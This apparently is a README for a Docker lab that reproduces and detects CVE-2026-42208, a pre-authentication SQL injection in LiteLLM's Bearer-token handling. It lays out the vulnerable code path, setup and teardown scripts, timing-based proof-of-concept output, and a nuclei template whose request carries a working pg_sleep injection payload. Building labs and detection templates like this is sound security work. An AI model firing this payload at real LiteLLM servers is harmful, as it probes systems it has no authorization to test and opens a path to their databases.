一个用于复现和检测 CVE-2026-42208 的实验室环境，这是 LiteLLM 中的一个严重预认证 SQL 注入漏洞，未经过滤的 Bearer 令牌会直达原始 PostgreSQL 查询。
| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2026-42208 |
| GHSA | GHSA-r75f-5x8p-qvmc |
| CVSS | 9.3（严重）— AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| 受影响版本 | >= 1.81.16, < 1.83.7 |
| 已修复 | v1.83.7（参数化查询） |
| CWE | CWE-89（SQL 注入） |
Vulnerable (v1.83.6):
POST /v1/chat/completions
Authorization: Bearer <payload> ← payload does NOT start with "sk-"
→ api_key.startswith("sk-") assertion fails (utils.py:1189)
→ caught by except Exception (utils.py:1560)
→ _handle_authentication_error(api_key=RAW_PAYLOAD)
→ _enrich_failure_metadata_with_key_info()
→ get_data(token=RAW_PAYLOAD, table_name="combined_view")
→ SQL: WHERE v.token = '{payload}' ← injection
Patched (v1.83.7):
Same request path, but:
→ get_data(token=hashed_token, ...)
→ SQL: WHERE v.token = $1 ← parameterized, no injection
| # | 条件 | 详情 |
|---|---|---|
| 1 | 受影响的 LiteLLM 版本 | >= 1.81.16, < 1.83.7 |
| 2 | PostgreSQL 后端 | SQLite 部署不受影响 |
| 3 | 无需认证 | 预认证；无需任何凭据 |
| 4 | VerificationToken 中至少 1 行 | pg_sleep 仅按行触发；空表 = 无延迟 |
Host Machine
├── localhost:8010 ──→ Docker: litellm-vuln (v1.83.6-nightly ⚠ VULNERABLE)
│ Docker: litellm-db-vuln (PostgreSQL 15)
└── localhost:8011 ──→ Docker: litellm-patched (v1.83.7-stable ✓ PATCHED)
Docker: litellm-db-patched (PostgreSQL 15)
| 工具 | 安装方式 |
|---|---|
| Docker Desktop | docker.com |
| nuclei | brew install nuclei |
| curl、python3 | macOS 预装 |
bash scripts/01-setup.sh
完成后：
══════════════════════════════════════════════════════
Lab ready!
Vulnerable (v1.83.6-nightly) : http://localhost:8010
Patched (v1.83.7-stable) : http://localhost:8011
Master Key : sk-lab-master-key
Next: bash scripts/02-exploit.sh
══════════════════════════════════════════════════════
bash scripts/02-exploit.sh
预期输出 — 易受攻击版本（v1.83.6-nightly）：
── Vulnerable (v1.83.6-nightly, port 8010) ──
Baseline : 0.031s
Injection : 6.062s (HTTP 401)
Delta : +6.031s
⚠ RESULT: pg_sleep fired — SQL INJECTION CONFIRMED (VULNERABLE)
预期输出 — 已修复版本（v1.83.7-stable）：
── Patched (v1.83.7-stable, port 8011) ──
Baseline : 0.028s
Injection : 0.029s (HTTP 401)
Delta : +0.001s
✓ RESULT: No significant delay — injection not executed (PATCHED)
# Vulnerable instance → should produce a [critical] finding
nuclei -t nuclei/CVE-2026-42208.yaml -u http://localhost:8010
# Patched instance → should produce no findings
nuclei -t nuclei/CVE-2026-42208.yaml -u http://localhost:8011
易受攻击版本（v1.83.6-nightly）：
已修复版本（v1.83.7-stable）：
bash scripts/99-teardown.sh
litellm-cve-2026-42208/
├── README.md
├── VULNERABILITY_ANALYSIS.md # Code-level analysis (English)
├── LAB_SETUP_GUIDE.md # Lab setup guide (English)
├── NUCLEI_TEMPLATE_GUIDE.md # Nuclei template design (English)
├── docker-compose.yaml
│
├── REPORT/ # Korean reports
│ ├── Vulnerability_Analysis_KR.md
│ ├── LAB_REPORT_KR.md
│ └── Nuclei_Template_Report_KR.md
│
├── nuclei/
│ └── CVE-2026-42208.yaml # Nuclei detection template
│
└── scripts/
├── 01-setup.sh # Start containers, create seed key
├── 02-exploit.sh # PoC: timing-based injection proof
└── 99-teardown.sh # Stop and remove all lab resources
Step 1 GET /health/liveliness
→ match "I am alive" in body
→ confirms target is a LiteLLM instance
Step 2 POST /v1/chat/completions
Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NOT NULL --
Matchers (AND — all must pass):
status == 401 eliminates 504/502 false positives
body contains "auth_error" OR "Authentication Error"
confirms LiteLLM auth path, not a proxy
duration >= 5 pg_sleep(6) fired → injection confirmed
误报预防：
status == 401 排除上游超时（504）和网关错误（502）的响应duration >= 5 足够高，可排除网络抖动（基线为 ≤0.5s）警告： 本实验室中的所有凭据均为仅供安全研究用途的虚假测试数据。切勿在生产环境中使用。在扫描非您所有的系统之前，务必获得明确授权。